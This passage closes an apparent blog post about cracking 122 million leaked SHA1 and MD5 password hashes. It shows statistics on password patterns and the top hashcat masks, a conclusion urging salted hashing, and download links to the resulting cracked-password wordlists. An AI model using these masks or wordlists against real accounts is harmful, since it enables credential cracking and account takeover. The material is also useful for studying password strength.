&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;|||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;|||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;&#xA0;&#xA0;&#xA0;|||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
|||||||||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
00000000001111111
01234567890123456
&#xA0;
One to six characters = 133854 (17.63%)
One to eight characters = 494828 (65.19%)
More than eight characters = 264275 (34.81%)
&#xA0;
Only lowercase alpha = 154996 (20.42%)
Only uppercase alpha = 14072 (1.85%)
Only alpha = 169068 (22.27%)
Only numeric = 119581 (15.75%)
&#xA0;
First capital last symbol = 6088 (0.8%)
First capital last number = 73611 (9.7%)
&#xA0;
Months
january = 109 (0.01%)
february = 45 (0.01%)
march = 247 (0.03%)
april = 251 (0.03%)
may = 850 (0.11%)
june = 246 (0.03%)
july = 223 (0.03%)
august = 300 (0.04%)
september = 80 (0.01%)
october = 134 (0.02%)
november = 113 (0.01%)
december = 115 (0.02%)
&#xA0;
Days
monday = 59 (0.01%)
tuesday = 20 (0.0%)
wednesday = 7 (0.0%)
thursday = 38 (0.01%)
friday = 46 (0.01%)
saturday = 7 (0.0%)
sunday = 70 (0.01%)
&#xA0;
Months (Abreviated)
jan = 1482 (0.2%)
feb = 249 (0.03%)
mar = 8397 (1.11%)
apr = 692 (0.09%)
may = 850 (0.11%)
jun = 889 (0.12%)
jul = 1051 (0.14%)
aug = 785 (0.1%)
sept = 215 (0.03%)
oct = 512 (0.07%)
nov = 821 (0.11%)
dec = 874 (0.12%)
&#xA0;
Days (Abreviated)
mon = 4319 (0.57%)
tues = 28 (0.0%)
wed = 217 (0.03%)
thurs = 44 (0.01%)
fri = 758 (0.1%)
sat = 769 (0.1%)
sun = 1018 (0.13%)
&#xA0;
Includes years
1975 = 411 (0.05%)
1976 = 388 (0.05%)
1977 = 446 (0.06%)
1978 = 432 (0.06%)
1979 = 441 (0.06%)
1980 = 541 (0.07%)
1981 = 453 (0.06%)
1982 = 519 (0.07%)
1983 = 533 (0.07%)
1984 = 603 (0.08%)
1985 = 585 (0.08%)
1986 = 616 (0.08%)
1987 = 710 (0.09%)
1988 = 641 (0.08%)
1989 = 941 (0.12%)
1990 = 931 (0.12%)
1991 = 995 (0.13%)
1992 = 935 (0.12%)
1993 = 905 (0.12%)
1994 = 907 (0.12%)
1995 = 4021 (0.53%)
1996 = 858 (0.11%)
1997 = 486 (0.06%)
1998 = 443 (0.06%)
1999 = 416 (0.05%)
2000 = 1024 (0.13%)
2001 = 643 (0.08%)
2002 = 586 (0.08%)
2003 = 1132 (0.15%)
2004 = 1254 (0.17%)
2005 = 796 (0.1%)
2006 = 818 (0.11%)
2007 = 1442 (0.19%)
2008 = 1019 (0.13%)
2009 = 742 (0.1%)
2010 = 767 (0.1%)
2011 = 516 (0.07%)
2012 = 925 (0.12%)
2013 = 165 (0.02%)
2014 = 142 (0.02%)
2015 = 146 (0.02%)
2016 = 118 (0.02%)
2017 = 139 (0.02%)
2018 = 131 (0.02%)
2019 = 172 (0.02%)
2020 = 179 (0.02%)

Years (Top 10)
1995 = 4021 (0.53%)
2007 = 1442 (0.19%)
2004 = 1254 (0.17%)
2003 = 1132 (0.15%)
2000 = 1024 (0.13%)
2008 = 1019 (0.13%)
1991 = 995 (0.13%)
1989 = 941 (0.12%)
1992 = 935 (0.12%)
1990 = 931 (0.12%)
&#xA0;
Colours
black = 485 (0.06%)
blue = 549 (0.07%)
brown = 184 (0.02%)
gray = 89 (0.01%)
green = 348 (0.05%)
orange = 125 (0.02%)
pink = 262 (0.03%)
purple = 73 (0.01%)
red = 2974 (0.39%)
white = 179 (0.02%)
yellow = 85 (0.01%)
violet = 63 (0.01%)
indigo = 22 (0.0%)
&#xA0;
Single digit on the end = 92080 (12.13%)
Two digits on the end = 87587 (11.54%)
Three digits on the end = 103715 (13.66%)
&#xA0;
Last number
0 = 45407 (5.98%)
1 = 64764 (8.53%)
2 = 52570 (6.93%)
3 = 52890 (6.97%)
4 = 43719 (5.76%)
5 = 55185 (7.27%)
6 = 42826 (5.64%)
7 = 46169 (6.08%)
8 = 42475 (5.6%)
9 = 44930 (5.92%)
&#xA0;
&#xA0;|&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;|&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;| | |&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
&#xA0;||| |&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
|||| | | |&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
||||||||||&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; 
0123456789
&#xA0;
Last digit
1 = 64764 (8.53%)
5 = 55185 (7.27%)
3 = 52890 (6.97%)
2 = 52570 (6.93%)
7 = 46169 (6.08%)
0 = 45407 (5.98%)
9 = 44930 (5.92%)
4 = 43719 (5.76%)
6 = 42826 (5.64%)
8 = 42475 (5.6%)
&#xA0;
Last 2 digits (Top 10)
95 = 14675 (1.93%)
23 = 12192 (1.61%)
12 = 9230 (1.22%)
11 = 8214 (1.08%)
01 = 7606 (1.0%)
00 = 7131 (0.94%)
07 = 6295 (0.83%)
10 = 6182 (0.81%)
21 = 5881 (0.77%)
99 = 5868 (0.77%)
&#xA0;
Last 3 digits (Top 10)
123 = 6857 (0.9%)
995 = 4122 (0.54%)
971 = 2916 (0.38%)
972 = 2850 (0.38%)
007 = 2514 (0.33%)
000 = 1868 (0.25%)
234 = 1725 (0.23%)
666 = 1465 (0.19%)
777 = 1389 (0.18%)
004 = 1347 (0.18%)
&#xA0;
Last 4 digits (Top 10)
1995 = 3886 (0.51%)
1234 = 1379 (0.18%)
2007 = 1325 (0.17%)
2004 = 1121 (0.15%)
2003 = 1016 (0.13%)
2008 = 869 (0.11%)
2000 = 846 (0.11%)
1991 = 819 (0.11%)
2012 = 809 (0.11%)
1990 = 789 (0.1%)
&#xA0;
Last 5 digits (Top 10)
12345 = 743 (0.1%)
23456 = 652 (0.09%)
54321 = 189 (0.02%)
23123 = 140 (0.02%)
56789 = 127 (0.02%)
34567 = 102 (0.01%)
11111 = 99 (0.01%)
45678 = 75 (0.01%)
00000 = 73 (0.01%)
88888 = 68 (0.01%)
&#xA0;
US Area Codes
971 = Oregon:&#xA0; Metropolitan Portland,
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Salem/Keizer area,
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;incl Cricket Wireless (OR)
972 = Texas: Dallas Metro (TX)
234 = NE Ohio: Canton, Akron (OH)
&#xA0;
Character sets
loweralphanum: 330937 (43.6%)
loweralpha: 154996 (20.42%)
numeric: 119581 (15.75%)
mixedalphanum: 41121 (5.42%)
upperalphanum: 41078 (5.41%)
mixedalpha: 28464 (3.75%)
upperalpha: 14072 (1.85%)
loweralphaspecial: 10222 (1.35%)
loweralphaspecialnum: 5735 (0.76%)
mixedalphaspecial: 4724 (0.62%)
upperalphaspecial: 2939 (0.39%)
mixedalphaspecialnum: 2247 (0.3%)
specialnum: 648 (0.09%)
upperalphaspecialnum: 374 (0.05%)
special: 47 (0.01%)
&#xA0;
Character set ordering
stringdigit: 349534 (46.05%)
allstring: 197532 (26.02%)
alldigit: 119581 (15.75%)
digitstring: 28873 (3.8%)
othermask: 18649 (2.46%)
stringdigitstring: 14577 (1.92%)
stringspecial: 10441 (1.38%)
digitstringdigit: 9981 (1.31%)
stringspecialstring: 5469 (0.72%)
stringspecialdigit: 3075 (0.41%)
specialstring: 834 (0.11%)
specialstringspecial: 510 (0.07%)
allspecial: 47 (0.01%)
&#xA0;
Hashcat masks (Top 10)
?d?d?d?d?d?d?d: 85053 (11.2%)
?l?l?l?l?l?l: 38400 (5.06%)
?l?l?l?l?l?l?l?l: 36217 (4.77%)
?l?l?l?l?l?l?l: 35468 (4.67%)
?l?l?l?l?l?l?d?d?d: 24051 (3.17%)
?l?l?l?l?l?l?d?d: 18591 (2.45%)
?l?l?l?l?l?d?d?d: 18047 (2.38%)
?d?d?d?d?d?d: 16048 (2.11%)
?l?l?l?l?l?l?l?l?l: 14236 (1.88%)
?l?l?l?l?d?d?d: 13802 (1.82%)
</code></pre>
<h4 id="conclusion">Conclusion</h4>
<p>This was a very time consuming and a hard job because I do not own the fastest graphics card. The whole cracking process took about 5 months to accomplish because I had to finish my studies for CCNP certification. The lesson learned from this is that with a good and smart dictionary combined with handy rules either for hashcat or John the Ripper even strong passwords can be cracked. Based on the above statement, admins should use a stronger hash algorithm (with salt) to store your passwords and on your side just change your passwords in a regular basis.</p>
<p>Thanks for reading.</p>
<p>You can find me on twitter, <a href="https://twitter.com/m3g9tr0n?ref=blog.thireus.com" title="m3g9tr0n on Twitter">@m3g9tr0n</a>.</p>
<h4 id="downloads">Downloads</h4>
<p>You can download the results of the cracked hashes:</p>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/m3g9tr0n/m3g9tr0n_122Million_Passwords_WordLists.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="Cracking Story - How I Cracked Over 122 Million SHA1 and MD5 Hashed Passwords"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
721.9 MB - m3g9tr0n_122Million_Passwords_WordLists.zip
    </div>
</div>
<p><span style="color: #ff0000;">The provided KoreLogic <a href="https://www.korelogic.com/InfoSecSouthwest2012_Ripe_Hashes.html?ref=blog.thireus.com" title="InfoSecSouthwest2012_Ripe_Hashes.tgz.torrent"><span style="color: #ff0000;">torrent file</span></a> contains various but unique password hashes. For that reason you may find duplicated passwords in these wordlists, as a single password can be hashed using various algorithmes! Meaning that 122 million unique hashes (MD5, SHA1, double MD5, etc.) were cracked and result in 83,6 million unique passwords.</span></p>
<p>You can download the &#x201C;all in one&#x201D; version, cleaned and sorted:</p>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/m3g9tr0n/m3g9tr0n_Passwords_WordList_CLEANED.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="Cracking Story - How I Cracked Over 122 Million SHA1 and MD5 Hashed Passwords"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
270.2 MB - m3g9tr0n_Passwords_WordList_CLEANED.zip
    </div>
</div>
<p>The command used to generate this &quot;all in one&quot; CLEANED wordlist was:</p>
<pre><code>export LC_ALL=&apos;C&apos; &amp;&amp; cat * | sort | uniq &gt; eNtr0pY_ALL_sort_uniq.dic
</code></pre>
<h4 id="references">References</h4>
<ul>
<li>hashcat Wiki [ <a href="http://hashcat.net/wiki/?ref=blog.thireus.com" title="hashcat Wiki">http://hashcat.net/wiki/</a> ]</li>
<li>John the Ripper Wiki [ <a href="http://openwall.info/wiki/john?ref=blog.thireus.com" title="John the Ripper Wiki">http://openwall.info/wiki/john</a> ]</li>
</ul>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="korelogic rule set">korelogic rule set</a></li>
<li><a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="md5 crack">md5 crack</a></li>
<li><a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="oclhashcat-plus tutorial">oclhashcat-plus tutorial</a></li>
<li><a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="Hashcat">Hashcat</a></li>
<li><a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="how i cracked 122 million">how i cracked 122 million</a></li>
<li><a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="md5 cracker">md5 cracker</a></li>
<li><a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="crack md5">crack md5</a></li>
<li><a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="eNtr0pY_ALL_sort_uniq dic">eNtr0pY_ALL_sort_uniq dic</a></li>
